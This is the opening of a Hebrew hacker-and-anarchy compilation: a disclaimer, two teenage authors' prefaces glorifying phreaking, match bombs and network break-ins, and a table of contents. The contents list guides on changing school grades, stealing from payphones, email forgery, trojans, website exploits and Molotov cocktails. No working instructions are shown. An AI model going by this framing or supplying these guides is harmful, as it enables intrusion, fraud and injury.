You are on page 1of 616

By

R A Z O R
&
the new book / hacker

H acker F uck M icrosoft

GeHeNoM, Blood Runner, Rul3r, Pirs[i]ng, E-Man , AiTi , Dr.Brain,


CaTax, Bentz, y0g1 b3ar, IceFire3k, Rel8t, Milki, AKA, VB-Man,
Cool-Guy, Zeos, BoR|S, waMaw, Boba Smith, ^Dak0Da^, ZeBra,
. Vortex, The-Mod, NDR311, HaSaTaN, GOLGOLET, CROSSBOW
‫אני לא אחראי בשום אופן למעשים\נזק\בעיה\כל‬
‫דבר שנגרמים בגלל קריאת טקסט זה לא ישירות‬
‫ולא בעקיפין ‪ .‬כל החומר כאן היא למטרה לימודית‬
‫בלבד ואסור בשום פנים ואופן להשתמש בו ‪.‬‬

‫שלום‬

‫קודם כל אני רוצה להבהיר שכשאני כותב מאמר אני תמיד רושם את כל הדברים‬
‫מהלב אז תסלחו לי אם זה יהיה רגשני או ילדותי מידי ‪ -‬זה בא מהלב ‪.‬‬

‫שמי ‪ Razor‬היום (‪) Bidia-Boy > Old-Hacker > Razor‬‬

‫‪2‬‬
‫הסיפור שלי מתחיל בכיתה ד' ‪ -‬תמיד הייתי סקרן ורציתי לדפוק את רשת‬
‫הטלפונים ‪ -‬התחלתי להתעניין ‪ ...‬יחסית לכיתה ד' היה לי מזל כי קומה‬
‫מתחתי גר אז ‪ - Jacob‬הוא היה אז בן ‪ - 18‬עולה חדש שלא יודע עברית‬
‫אני שגם עליתי מרוסיה אהבתי את מה שהוא עושה ‪ -‬לא היה אז אינטרנט‬
‫היה רק ‪ BBS‬משהו דומה ל ‪ ( FTP‬שרת שאפשר להוריד ממנו קבצים ) ‪ ...‬אני‬
‫ישבתי אצלו בבית קרוב ל ‪ 5‬שעות ביום ( יעקב ‪ -‬אני יודע שאף פעם לא‬
‫תקרא את השורות האלה אבל אני מצטער בכל זאת ) מול מחשב ה ‪ 486‬שלו‬
‫עם מודם ‪ k 36‬וסידי רום ( הוא קנה את המחשב ב ‪ 12‬אלף ש"ח ) ואז אני‬
‫זוכר אותנו מורידים קבצים במהירות של ‪ k 3‬לשניה ‪ ( ...‬מצטער חברה‬
‫שמרחתי ‪ -‬נוסטלגיה ) אז ככה נחזור לעניין הוא תמיד היה המורה שלי‬
‫למחשבים ‪ -‬הוא היה תותח ‪ -‬כל העיר הייתה בא אליו ומבקשת עצות בנוגע למחשב‬
‫( אני לא מגזים ‪ -‬כל העיר! ‪ ,‬היום גם באים אליו אבל כבר אין לו זמן ‪-‬‬
‫תבינו בהמשך ) טוב אז הוא היה המורה הראשון שלי‪ ...‬אחרי שהוא עבר דירה‬
‫קנו לי את המחשב הראשון שלי ‪ 133mhz‬בהפתעה ‪ (-‬אני בכייתי ‪ -‬הייתי קטן )‬
‫אז על השבוע הראשון הרסתי את כרטיס הקול ( אבא כעס ) ‪ ...‬באסה ‪ ...‬לא משנה ‪ -‬אז התחלתי‬
‫להתאמן בגו'גיסטו והכרתי שם את ‪ SBH‬שיישאר איתי לכל‬
‫החיים ולא משנה אפה הוא יהיה ואפה אני אנחנו תמיד נהייה פתוחים אחד‬
‫לשני ‪ -‬הוא גם היה מבוגר ממני ב ‪ 4‬שנים ‪ -‬הוא גם היה תותח במחשבים‬
‫הוא עזר לי לתקן את כרטיס הקול ובפעם הראשונה עשינו על המחשב שלי‬
‫ניסוי ‪ -‬התקנו ווינדוס ‪ - 95‬זאת הייתה " חוויה " ‪ -‬היינו מוכרחים‬
‫להעביר על דיסקטים את הווינדוס למרות שקיבצנו ב ‪( RAR‬אז זאת הייתה התוכנה‬
‫המובילה בתחום ) לקח לנו חצי יום ( שימו לב ‪ :‬זה חבר ‪ -‬מישהו שמוכן להיתקע‬
‫אתך חצי יום ורק בשבילך ) טוב אז הצלחנו ‪ ...‬עברו כשנתיים והתבגרתי קצת‬
‫וגם ‪ ( SBH‬יעקב עזב את הרחוב ‪ -‬אף פעם הוא לא הכיר את ‪ SBH‬ולא ידע גם‬
‫על קיומו‪ -‬זאת הפעם הראשונה שאני חושב על זה! ) התחלנו עם ה ‪Hacking‬‬
‫השגנו כמה סיסמאות ויוזרים והתחלנו להריץ את העסק ( כיתה ו' בערך)‬
‫אהבנו את זה אבל התבאסנו ש ‪ SBH‬קיבל חשבון של ‪ 1400‬משהו כזה ‪ ...‬אימא‬
‫שלו התעצבנה וסגרה לו את הקו של הטלפון (אפילו שהוא עבר לפ"ת רק לפני‬
‫כמה חודשים פתחו לו את הקו שוב ‪ -‬אבל כמו שאני מכיר את ‪ SBH‬הוא בטח צלצל‬
‫לכל העולם על חשבון בזק (‪ ) :‬אחרי המקרה הזה אני עברתי מדירה לבית‬
‫( אני נמצא עכשיו בקומה ה ‪ 3‬בבית משם אני כותב )‪ .‬אז נסגר פרק כל‪-‬כך מתוק‬
‫בחיים שלי ‪ -‬את החברים הכי טובים השארתי מאחור למרות שזה באותו ישוב‬
‫חברים שגם לא היו בעניין של ההאקינג עזבתי אותם ‪ -‬זה היה מעבר קשה ‪ -‬שמואל אחרי שנה‬
‫עבר לפ"ת וחבר אחר טוב שלי מאז נשאר שם וגם נשאר שם היום‬
‫(אבל היום אנחנו רק ידידים ‪ -‬חבל )‪... ) :‬‬

‫הבטחתי לעצמי לבקר את ‪ SBH‬כל שבוע בערך פעם אחת לפחות ‪ -‬הצלחתי ועדיין‬
‫היינו חברים טובים למרות הגילאים וכל המבחנים שלו שהיום אני עובר אותם‬
‫טוב אנחנו שמרנו ואז התחלנו עם הקטע של הפריקינג גנבו ‪ PBX , 1800‬ועוד‬
‫היום בזק עלו על השיטות ‪ -‬אז זה היה חלום לכל פריקר היה לנו טלפון חינם‬
‫על חשבון בזק ‪ ,‬עכשיו העניין הרבה יותר מסובך ‪ -‬נחזור לנושא ‪ SBH -‬עבר‬
‫דירה עם אימא שלו לפ"ת )‪ :‬יעקב עבר עוד מקודם למקום אשר היה מרוחק ממני‬
‫אולם עדיין שמרנו על קשר ‪ ...‬באותו זמן יעקב עבר למקום עוד יותר רחוק‬
‫ונשארתי לבד ‪ .‬היה לי נורא משעמם בזמנים אלו ‪ -‬דפקתי את המוח עם משחקי מחשב ( שהיום‬
‫אני לא נוגע בהם ‪ -‬ממליץ לכם להפסיק ) עד ש ‪ Batman911‬בא!‬
‫אז הייתי בכיתה ז ‪ -‬התחילו שוב חיי ההאקינג‪,‬פריקינג ‪ -‬ואז גם בגללו‬
‫נכנס העניין של טרוריזם לחיי ‪ -‬בלשון עממית = אנרכיה ‪ -‬עשינו פצצות‬
‫מגפרורים ‪ ,‬גנבנו חבלים מבניה ( רדפו אחריי וכמעט נדרסתי )‪ :‬בבריחה ‪...‬‬
‫אז ככה החיים חזרו למסלולם ‪ -‬חזרתי להיות האקר כמו בן אדם ולא לשחק‬
‫בשטיות ( משחקי מחשב ) מאז לא שיחקתי בהם אלא רק התחלתי ללמוד איך לפרוץ‬
‫אותם ‪ -‬ואז נכנס הקטע של הקראקינג לחיי ‪ -‬איזה כיף זה שאתה מצליח אני זוכר את הפעם‬
‫הראשונה ( לא בסקס ) רצתי בכל הבית קפצתי כמו משוגע אפילו נזלה לי דמעה של התרגשות ( כן‬
‫אני אדם נורא רגשני ) זה היה הכיף וזה גם היה המפתח להמשך הדרך ‪ -‬הבנתי אז שאת כל‬
‫השטויות שעשיתי עם יעקב ואח"כ עם ‪ SBH‬ואח"כ עם ‪ Batman911‬לא היו לחינם ‪ -‬אלא פרצתי‬
‫תוכנה ( לפריצת אתר אני לא מייחס חשיבות רבה ‪ -‬עשיתי את זה עוד עם ‪ JACOB‬בימיה‬

‫‪3‬‬
‫הראשונים של הרשת ) ‪ -‬אז זה היה רגע של עליית רגשות – זה כמו זריחה אבל בלב ‪ -‬קשה‬
‫לתיאור‪.‬‬

‫אז לא משנה אז הכל התפתח כל השטיות של הפיירוואל התחילו והאתגר נהייה הרבה יותר קשה‬
‫‪ ...‬גם שעברתי לתיכון שרחוק ‪ 45‬ק"מ מביתי היה לי קשה‬
‫( השקמה ‪ 5:50‬חזרה ‪ ... ) 16:00‬ולקחתי כמה חודשים של הפסקה ואז הכל לאט לאט חזר‬
‫לעצמו ‪ -‬ביקרתי את ‪ SBH‬כמה פעמים בפ"ת את יעקב אני תמיד ביקרתי בערך פעם לחודש ואת‬
‫באטמן אני לא צריך לבקר ‪ ...‬הוא שכן שלי (‪. :‬‬

‫היום זה אחרת ‪ -‬אני כבר בן ‪ 15‬ואני מייחס חשיבות פחותה לכל הדברים ‪(...‬גם בגלל המין השני )‬
‫אבל עדיין אני פורץ אתרים ‪ ,‬טלפוניה ‪ ,‬אני בהרבה פחות אנרכיסט וגם לא קרימינל ‪.‬‬

‫‪ -‬עובד ברשתות תקשורות במוסד גדול ‪.‬‬ ‫יעקב‬


‫‪ SBH‬בצבא ‪ -‬לא לקחו אותו ליחידת מחשבים משום שלא היה לו ציונים משהו ‪.‬‬
‫‪ - Batman911‬אנרכיסט מושבע ‪ -‬שכן שלי ‪ -‬תמיד אפשר לסמוך עליו ‪.‬‬
‫‪ - Bidia boy‬נפטר משום שנהפך ל ‪ Old-hacker‬ובגלל שלא רצה להחזיק בשם הקשור לכפר ערבי‬
‫( בהתחלה זה היה בצחוק ) בגלל האינטיפדה וגם כבר מזמן ‪ ...‬לא ‪. BOY‬‬
‫‪ - Old-Hacker‬נפטר והפך ל ‪ Razor‬משום שנתפס על פריצה לרשת מחשבים גדולה ‪.‬‬
‫‪ - Razor‬חיי נושם פורץ‪,‬מפצח‪,‬מאזין‪,‬לומד וכותב לכם את הספר ‪.‬‬

‫תמיד היה לי חלום ‪ ,‬חלום שברגע זה מתגשם ‪ -‬חלום החופשיות ‪ ,‬חלום הזכיות השוות לכולם ‪,‬‬
‫חופש הלימוד ‪ ,‬חופש לדעת שיש דברים אחרים שאתם מסוגלים לעשות ‪ ,‬חלום שהוא ההסבר לכל‬
‫מה שלמדתי בחיי מהאקינג ובכלל מהחיים דברים שאי אפשר לקרוא באנציקלופדיה וגם לא‬
‫ילמדו אתכם את זה באוניברסיטה כי הם לא רוצים שתדעו הם סותמים לנו את הפיות ‪ -‬בשורות‬
‫האלה אנחנו מפיצים את המידע לכולם ובחינם אנחנו לא רוצים שתשלמו על זה ( אם אתם רוצים‬
‫בכל מקרה שימו חצי שקל בצדקה לחולים ‪ -‬זה יהיה התשלום בשבילנו ) אנחנו רוצים ללמד לעזור‬
‫ולהפיץ את הידע לאזן את הרמות בחברה להרוס את העדות ‪ -...‬איו אצלנו רוסי‪,‬מרוקאי וכדומה‬
‫הכל שווים( ‪ sbh‬הוא העדה המנוגדת בדיוק לשלי ואנחנו החברים הכי טובים ) אנחנו רוצים חברה‬
‫אשר תחייה לפי כללים אחרים לגמרי ‪ ...‬אנחנו עוזרים לכולם ‪ ,‬לכל מי שרוצה לדעת אותו נלמד‬
‫ולא משנה מה זה כמה זה יעלה לנו ‪ -‬אנחנו חיים על פי דפוסי התנהגות אחרים ‪ -‬לא צוחקים על‬
‫מי שלא יודע אלא מנסים להסביר לו ‪ -‬אנחנו אחרים‪ .‬אם אתם רוצים להמשיך לעזור לי להגשים‬
‫את‬
‫החלום שלי אני מבקש דבר אחד מכם ‪ -‬תפיצו את הספר לכמה שיותר אנשים ‪ ,‬תלמדו אנשים ואף‬
‫פעם אבל בחיים אל תצחקו או תפגעו במי שלא יודע כי תמיד יהיה מי שיודע יותר מכם והוא יוכל‬
‫לעשות לכם את אותו הדבר ‪ -‬תעזרו אחד לשני לנצח במלחמת הידע וככה כולם נהיה שווים‬
‫מאוחדים והרבה יותר חופשים!‪.‬‬

‫יש לי כמה מילים אחרונות למשטרה לבזק ולממשלה ‪ -‬אתם תמיד תנסו לעצור אותנו ואתם‬
‫תצליחו לאט לאט אבל אתם לעולם לא תעצרו את הידע את החופשיות שזורמת‬
‫בעורקנו ‪ -‬אולי אותי אתם תעצרו אותי ואת חבריי אבל את הנפש החיה בקרב ההאקרים תשאר‬
‫חיה ובועטת לנצח ‪ ,‬אתם שניסיתם לעצב חברה שוויונית ‪ -‬אתם שייצרתם את פצצת האטום‬
‫אתם שגזלתם במלחמות אלפי נפשות אלפי חלומות פנו דרך תנו לנו לעבור לאנשים הרוצים את‬
‫הדבר הכי טוב שקיים באדם את החוכמה ואת הצדק השוויוני שמגיע לכל אחד ואל תנסו לעצור‬
‫אותנו כי לא תצליחו אולי תעצרו חלק מאתנו אבל לא תצליחו לעצור את כולנו ‪ .‬בסה"כ לכולנו‬
‫מטרה משותפת לא להרוס לא לפרוץ אלא ללמד ולבנות עולם טוב יותר ! ‪ .‬יחי החירות ! ‪.‬‬
‫‪By RAZOR‬‬
‫הקדמה ‪ /‬דבר העורך (מחדש)‬
‫שלום!‬

‫שמי הוא ‪ HFM (Hacker From Microsoft‬או ‪)Hacker Fuck Microsoft‬‬


‫אני גאה בזאת להציג בפניכם את ספר החרות העיברי המלא (גירסה שניה ) ‪.‬‬
‫טוב אני יספר על החלק של הבן אדם החופשי שבי ‪:‬‬
‫אני עכשיו בן ‪15‬‬

‫‪4‬‬
‫הכל התכיל בגיל שמונה אח שלי חולה מחשבים תכנאי ומתכנת התכיל ללמד אותי תכנאות‬
‫‪ PASCAL‬כמובן רק שמהר מאוד הפסקתי לא הבנתי אנגלית (וקצת לא ידעתי מה הוא רוצה‬
‫מהחיים שלי לאחר מכן התעשקתי בכל מני שתויות בנפצים (כדאי להכין לבד לא לקנות) ובכל‬
‫מני תאוריות על פצצות וכל זה היה לי חבר פיורמן נקרא לו ‪ YF‬הוא כל הזמן הביא כל מני‬
‫תכנונים לפצצות ונפצים זוכל דבר הקשור באש היה לו שלושה אחים בצבא וכל פעולה בבני‬
‫עקיבא(כן כן אני דתי) היה מדליק מדורה ומפוצץ נפצים לאחר מכןהתחלתי ללמוד לאט לאט‬
‫קודם ‪ DOS‬ואחורזה ‪QBASIC PASCAL VISUAL BASIC HTML JAVA SCRIPT ASP‬‬
‫‪ BATCH‬והרבה על וינדוווז וה ‪ OFFICE‬למרות זאת עדיין לא הייתי בעיניני ההאקינג אבל כן‬
‫בקראקינג וצריבת דיסקים וכו' ‪ .‬בדרך כלל אני היתי זה שהורס את המחשב ואח שלי בא‬
‫מהתיכן בסוף שבוע ומתקן (אבל תמיד לומדים מתעויות)‪ .‬עשיתי חיים (אני מזקיר עדיין לא‬
‫בהאקינג)‪ .‬כשהגעתי לתיכון היה אחד שחשבתי שהוא האקר אחרי זה גיליתי שהוא העתיק את‬
‫כל האתר שלו מאתרים אחריםכן הוא יודע אבל לא הרבה מאוד קוראים לו ‪ program44‬בדל‬
‫שהוא ידע להשתמש ב ‪ SUB7‬אז חשבתי שהוא האקר ואז למדתי המון בעיקר מ‬
‫‪ ASTALAVISTA‬תרגמתי הכל למדתי למדתי בחופש הגדול האחרון קיבלתי מההורים שלי‬
‫אינטרנט מהיר וזה רק עזר עוד יותר בדקתי וחקרתי אבל למורות שהיו לי את כל ההגנות היה לי‬
‫וירוס ליפני שלושה שבועות ודפק לי את המחשב והביוס כמובן אח שלי תיקן ועברתי ל‬
‫‪ WINDOS XP‬ואז לפני שבוע וחצי שהיה לי הרבה מריבות אם ההרים שלי אז לקחו לי את‬
‫המודם (ולכן לא יכולתי להגיע ל ‪ 700‬עמודים למורות שרציתי) ואז היה לי זמן לערוך הכל‬
‫ולכתוב קצת עכשיו על תפריעו לי יש לי לכתוב עוד כמה כתבות לכתוב מחדשאת התוכן ולהפיץ‬
‫את הספר הזה ‪.‬‬

‫לסיום אני ממליץ בחום אם אבא אמא סבתא דודה או כל בן אדם אחר יכול להדפיס את זה‬
‫מומלץ ביותר!!!‬ ‫בחינם וגם לכרוך‬

‫אוהב אתכם אחים שלי מכל הלב‬


‫והלוואי וניזכה לחופש הידע‬
‫ונישמור את רוח ההאקרים לעולם ועד‬
‫‪BY HFM‬‬

‫תוכן‬
‫כותב‬ ‫שם המאמר‬ ‫עמוד‬
‫‪Old-Hacker‬‬ ‫איך לפרוץ לרשת ביה"ס ולשנות ציונים‬ ‫‪10-11‬‬
‫‪Old-Hacker‬‬ ‫שיחות חינם בפלאפונים של נוקיה כל הגרסאות‬ ‫‪12‬‬
‫‪Old-Hacker‬‬ ‫מה כדאי לעשות בביה"ס – חלק א‬ ‫‪13‬‬
‫‪Old-Hacker‬‬ ‫שיחות חינם בטלפונים שעובדים על טלכרטים‬ ‫‪14‬‬
‫‪Old-Hacker‬‬ ‫פצצת עשן‬ ‫‪15‬‬
‫‪GeHeNoM‬‬ ‫פריצת סיסמאות ‪Windows 98\95‬‬ ‫‪16-18‬‬
‫‪GeHeNoM‬‬ ‫איך לגנוב כסף ממכשירי טלפון‬ ‫‪19-20‬‬

‫‪5‬‬
‫‪GeHeNoM‬‬ ‫הכנת מכשיר ציטוט מהפלאפון‬ ‫‪21‬‬
‫‪GeHeNoM‬‬ ‫פריצת סיסמת הצנזורה של ‪Interner Explorer‬‬ ‫‪22-23‬‬
‫‪GeHeNoM‬‬ ‫שימוש חוזר בכרטיסי טלכרט‬ ‫‪24‬‬
‫‪GeHeNoM‬‬ ‫שימוש חוזר בכרטיסי טלכרט – שיטה ב'‬ ‫‪25‬‬
‫‪GeHeNoM‬‬ ‫זיוף ‪ – E-Mail‬חלק א‬ ‫‪26-29‬‬
‫‪GeHeNoM‬‬ ‫זיוף ‪ – E-Mail‬חלק ב‬ ‫‪30-36‬‬
‫‪GeHeNoM‬‬ ‫זיוף ‪ – E-Mail‬חלק ג‬ ‫‪37-‬‬
‫‪394‬‬
‫‪GeHeNoM‬‬ ‫מדריך לזיוף ‪ E-Mail‬מקוצר‬ ‫‪40-41‬‬
‫‪GeHeNoM‬‬ ‫מה כדאי לעשות בביה"ס – חלק ב‬ ‫‪42-44‬‬
‫‪GeHeNoM‬‬ ‫אייקונים בביג טוק‬ ‫‪45‬‬
‫‪GeHeNoM‬‬ ‫פריצה למחשבים‬ ‫‪46-49‬‬
‫‪Rel8t‬‬ ‫פצצת מנורה‬ ‫‪50‬‬
‫‪GeHeNoM‬‬ ‫אנרכיה – הסבר‬ ‫‪51‬‬
‫‪Blood Runner‬‬ ‫פצצת דיסקט‬ ‫‪52‬‬
‫‪Blood Runner‬‬ ‫‪Port Scanning‬‬ ‫‪53-54‬‬
‫‪IceFire3k‬‬ ‫טיפול "משמעתי" בקרציות‬ ‫‪55‬‬
‫‪IceFire3k‬‬ ‫גפרורים שמישים מתחת למים‬ ‫‪56‬‬
‫‪GeHeNoM‬‬ ‫שרתי פרוקסי‬ ‫‪57-59‬‬
‫‪Zero Cool‬‬ ‫התקשרויות מחשבים‪ :‬חלק ראשון‪ :‬איך לבנות סרבר‬ ‫‪60-62‬‬
‫‪AKA‬‬
‫‪Blood Runner‬‬
‫‪Like part 1‬‬ ‫התקשרויות מחשבים‪ :‬חלק שני‪ :‬איך לבנות קליינט‬ ‫‪63-64‬‬
‫‪Blood Runner‬‬ ‫שימוש בטלנט לקריאת ‪E-mail‬‬ ‫‪65-66‬‬
‫‪y0g1 b3ar‬‬ ‫אינטיפדת טלפונים‬ ‫‪67‬‬
‫‪Blood Runner‬‬ ‫פורט סקנינג‬ ‫‪68-70‬‬
‫‪Blood Runner‬‬ ‫הבנת כותרות ‪E-mail‬‬ ‫‪71-74‬‬
‫‪GeHeNoM‬‬ ‫החלפת מסכי הפעלה‪/‬כיבוי‬ ‫‪75-76‬‬
‫‪Bentz‬‬ ‫מספרים שימושים‬ ‫‪77-78‬‬
‫‪Bentz‬‬ ‫נטרול התוכנה סייבר‪-‬פורטל‬ ‫‪75-80‬‬
‫‪Blood Runner‬‬ ‫פריצה לאתרים – דוגמאות לאקספלוייטים‬ ‫‪81-84‬‬
‫‪Pirs[i]ng‬‬ ‫איך להאיץ את ה ‪ \ ADSL‬לחבל במודמי ‪ADSL‬‬ ‫‪85-86‬‬
‫‪waMaw‬‬ ‫שימו בפסיכולוגיה כדי לגנוב סיסמאות‬ ‫‪87-88‬‬
‫‪BoR|S‬‬ ‫ביוגרפיה של ההאקר הכי מפורסם בעולם‬ ‫‪89-91‬‬
‫‪E-Man‬‬ ‫כסף חינם‬ ‫‪92-93‬‬
‫‪Old-Hacker‬‬ ‫כסף חינם – בלי דורופים‬ ‫‪94‬‬
‫‪E-Man‬‬ ‫איך לקבל אינטרנט יותר זול מכולם‬ ‫‪95‬‬
‫‪E-Man‬‬ ‫מזומן חינם‪ – ...‬איך לעבוד על מכונות שפורטות כסף‬ ‫‪96-97‬‬
‫‪Milki‬‬ ‫דיבור ללא תשלום בטלפון ציבורי‬ ‫‪98‬‬
‫‪Old-Hacker‬‬
‫‪Old-Haacker‬‬ ‫כוח ברוטלי‬ ‫‪99‬‬
‫‪Cool-Guy‬‬ ‫פצצת צבע‬ ‫‪100‬‬
‫‪Blackdeath‬‬
‫‪Oldhacker‬‬
‫‪Zeos‬‬ ‫המדריך ל ‪ Cracker‬המתחיל‬ ‫‪101-‬‬
‫‪103‬‬
‫‪VBman‬‬ ‫אסמבלר ל ‪Cracker‬‬ ‫‪104-‬‬
‫‪105‬‬
‫‪Pirs[i]ng & Zeos‬‬ ‫איך להפוך ממספר עשרוני לבינארי ולהפך‬ ‫‪106‬‬
‫‪Zeos‬‬ ‫פיצוח הגנות ל ‪ cd‬גרסה ‪1.1‬‬ ‫‪107-‬‬
‫‪108‬‬
‫‪Pirs[I]ng‬‬ ‫קידוד והצפנה‬ ‫‪109-‬‬
‫‪111‬‬
‫‪Zeos‬‬ ‫בסיס הקסדצימלי – המרה‬ ‫‪112-‬‬
‫‪114‬‬

‫‪6‬‬
‫‪Zeos‬‬ ‫המדריך לפיצוח מעשי של הגנת סיסמא‬ ‫‪115-‬‬
‫‪118‬‬
‫‪E-Man‬‬ ‫פריצת סיסמאות ב ‪Windows NT‬‬ ‫‪119-‬‬
‫‪120‬‬
‫‪Razor‬‬ ‫האתיקה של ההאקרים‬ ‫‪121‬‬
‫‪Pirs[I]ng‬‬ ‫שקר \ אמת על הפריקינג‬ ‫‪122‬‬
‫‪AiTi‬‬ ‫חיפוש במזבלות לפריקרים‬ ‫‪123‬‬
‫‪Boba Smith‬‬ ‫‪Tni Box‬‬ ‫‪124-‬‬
‫‪125‬‬
‫‪AiTi‬‬ ‫המספרים המיוחדים והקידומות של נזק‬ ‫‪126-‬‬
‫‪127‬‬
‫‪AiTi‬‬ ‫סריקת מספרי ‪1800‬‬ ‫‪128-‬‬
‫‪129‬‬
‫‪AiTi‬‬ ‫‪PBX‬‬ ‫‪130-‬‬
‫‪131‬‬
‫‪CnTax‬‬ ‫המדריך ליצירת טונים בנוקיה‬ ‫‪132-‬‬
‫‪133‬‬
‫‪AiTi‬‬ ‫רשימת הקופסאות השונות ותפקידם‬ ‫‪134‬‬
‫‪AiTi‬‬ ‫המדריך המלא לסריקת תדרים באוויר‬ ‫‪135-‬‬
‫‪136‬‬
‫‪AiTi‬‬ ‫פריצה לטלפונים שעובדים על מטבעות‬ ‫‪137-‬‬
‫‪138‬‬
‫‪Pirs[I]ng‬‬ ‫תדרים‬ ‫‪139‬‬
‫‪Pirs[I]ng‬‬ ‫שיחות חינם בטלפונים שעובדים על מטבעות – דרך ב'‬ ‫‪140‬‬
‫‪Pirs[I]ng‬‬ ‫פריצה למשיבון סלולרי‬ ‫‪141‬‬
‫‪Pirs[I]ng‬‬ ‫זיוף מספר השולח בשילחת הודעות‬ ‫‪142‬‬
‫‪AiTi‬‬ ‫‪Beige box‬‬ ‫‪143-‬‬
‫‪144‬‬
‫^‪^Dak0Da‬‬ ‫פריצת חדרים ב ‪Mirc‬‬ ‫‪145‬‬
‫^‪^Dak0Da‬‬ ‫פריצת ניקים ב ‪Mirc‬‬ ‫‪146‬‬
‫‪ZeBra‬‬ ‫בקבוק תבערה‬ ‫‪147‬‬
‫‪Razor‬‬ ‫איך לבנות לביור‬ ‫‪148‬‬
‫‪Zeos‬‬ ‫‪Windows Tricks Part 1‬‬ ‫‪149-‬‬
‫‪151‬‬
‫‪Zeos‬‬ ‫‪Windows Tricks Part 2‬‬ ‫‪152-‬‬
‫‪153‬‬
‫‪Pirs[I]ng‬‬ ‫‪Wap‬‬ ‫‪154-‬‬
‫‪155‬‬
‫‪Y0gl-B3ar‬‬ ‫פריצה לאתרים בעזרת ‪UniCode‬‬ ‫‪156-‬‬
‫‪158‬‬
‫‪Rul3r‬‬ ‫המדריך המקיף על טרוייני‬ ‫‪159‬‬
‫‪Pirs[I]ng & Zeh‬‬ ‫סאבנטינג‬ ‫‪160-‬‬
‫‪161‬‬
‫‪Vortex‬‬ ‫דואר אנונימי דרך טלנט‬ ‫‪162-‬‬
‫‪164‬‬
‫‪CnTax‬‬ ‫חשבונות ‪Shell‬‬ ‫‪165-‬‬
‫‪166‬‬
‫‪Pirs[I]ng‬‬ ‫פרוטוקולים‬ ‫‪167-‬‬
‫‪168‬‬
‫[‪]Twix‬‬ ‫מבוא לשכבת ‪OSI‬‬ ‫‪169-‬‬
‫‪171‬‬
‫‪CaTax‬‬ ‫תרבות ההאקרים‬ ‫‪172-‬‬
‫‪173‬‬
‫‪Tricker‬‬ ‫מידע על ‪ IP‬וערוצים ע"י פקודות ‪Netstat‬‬ ‫‪174-‬‬
‫‪176‬‬

‫‪7‬‬
‫‪Vb-Man‬‬ ‫אנונימיות ב ‪irc‬‬ ‫‪177‬‬
‫‪The-Mod‬‬ ‫פריצה ל ‪icq -‬‬ ‫‪178-‬‬
‫‪183‬‬
‫‪Pirs[I]ng‬‬ ‫מה היא פריצה ? ‪ +‬דוגמה‬ ‫‪184-‬‬
‫‪186‬‬
‫‪Razor & Boba Smith‬‬ ‫יצירת טונים בשפת ‪C‬‬ ‫‪187-‬‬
‫‪188‬‬
‫‪Pirs[I]ng‬‬ ‫הסבר על סוגים שונים של כבלים‬ ‫‪189-‬‬
‫‪191‬‬
‫‪Pirs[I]ng‬‬ ‫איך להרוס סוגים שונים של כבלים‬ ‫‪192‬‬
‫‪Pirs[I]ng & Rul3r‬‬ ‫מושגים‬ ‫‪193-‬‬
‫‪194‬‬
‫‪NDR311‬‬ ‫אנונימיות ‪ -‬אין להיות אנונימי ואיך לגלות דברים על אנשים אחרים‬ ‫‪195-‬‬
‫‪197‬‬
‫‪Pirs[I]ng‬‬ ‫מדריך מקיף על אסמבלר‬ ‫‪198-‬‬
‫‪202‬‬
‫‪Zirocool‬‬ ‫פריצה נכונה‬ ‫‪203-‬‬
‫‪204‬‬
‫פריצות של פעם בחיים‬ ‫‪205-‬‬
‫‪208‬‬
‫‪Zirocool & PskoTraz‬‬ ‫‪ – PROXY‬שמירה על זהות אמיתית‬ ‫‪209-‬‬
‫‪210‬‬
‫‪Zirocool‬‬ ‫עבודה נכונה בתוך המחשב‬ ‫‪211-‬‬
‫‪212‬‬
‫‪Zirocool‬‬ ‫פריצה לקובץ הסיסמאות של ‪ CuteFTP‬ו ‪Ws_FTP‬‬ ‫‪213-‬‬
‫‪214‬‬
‫‪Zirocool‬‬ ‫‪ – MOTOROLA‬קוד טכנאי‬ ‫‪215-‬‬
‫‪216‬‬
‫‪patcher‬‬ ‫קבצי פי‪.‬דבליו‪.‬אל‪)PWL FILE( .‬‬ ‫‪217-‬‬
‫‪218‬‬
‫‪Patcher‬‬ ‫כניסה בדרך מתוחכמת לחשבונות של ואללה‬ ‫‪219-‬‬
‫‪221‬‬
‫‪patcher‬‬ ‫‪Adware‬‬ ‫‪222‬‬
‫‪GOOLGOLET‬‬ ‫אנונימיות‬ ‫‪223‬‬
‫‪GOOLGOLET‬‬ ‫‪Faking File Transfer‬‬ ‫‪224‬‬
‫‪GOOLGOLET‬‬ ‫פריצה ל ‪WINDOS‬‬ ‫‪225-‬‬
‫‪227‬‬
‫‪GOOLGOLET & HFM‬‬ ‫איך להשיג איי פי של אנשים דרך האייסיקיו‬ ‫‪228‬‬
‫‪GOOLGOLET‬‬ ‫ניהול קבצים ב ‪ FTP‬דרך דוס‬ ‫‪229-‬‬
‫‪231‬‬
‫‪GOOLGOLET‬‬ ‫שימוש בכח ברוטלי (‪)WWWHACK‬כדי לפרוץ אתרים‪FTP/E-mail/‬‬ ‫‪232-‬‬
‫‪234‬‬
‫‪GOOLGOLET‬‬ ‫לגלות טוריאן בלי אנטי וירוס‬ ‫‪235-‬‬
‫‪239‬‬
‫‪GOOLGOLET‬‬ ‫‪TCP/IP‬‬ ‫‪240-‬‬
‫‪242‬‬
‫‪GOOLGOLET‬‬ ‫מושגים בסיסיים‬ ‫‪243‬‬
‫‪Reshet3000‬‬ ‫פריצה דרך שיטוף ללא טוריאן‬ ‫‪244‬‬
‫‪Reshet3000‬‬ ‫העלעת הודעות ארור למחשב בקלות‬ ‫‪245‬‬
‫‪GOOLGOLET‬‬ ‫מקלע ‪1‬‬ ‫‪246‬‬
‫‪GOOLGOLET‬‬ ‫נטבס התוכנה של הלימרים‬ ‫‪247-‬‬
‫‪249‬‬
‫‪HaSaTaN‬‬ ‫באג בהוטמייל‬ ‫‪250-‬‬
‫‪251‬‬
‫‪HaSaTaN‬‬ ‫פריצה לאתרים‬ ‫‪252‬‬

‫‪8‬‬
HaSaTaN 2 ‫פריצה לאתרים‬ 253-
254
HaSaTaN SSL 255
HaSaTaN ‫עשרת הדיברות להאקר‬ 256
HaSaTaN WORD ‫איך לעקוף סיסמאות של‬ 257
HaSaTaN 2 ‫הודעת ארור‬ 258
HaSaTaN ‫פריצת מנעולים‬ 259-
261
HaSaTaN Autorun 262-
263
HaSaTaN VISUAL BASIC TORGAN 264-
268
HaSaTaN BIOS 269-
270
HaSaTaN ‫כוח ברוטלי‬ 271-
273
HaSaTaN Radix 274
HaSaTaN Chat 275
HaSaTaN CHOKE 276
HaSaTaN ‫ איךזה עובד‬DNS 277
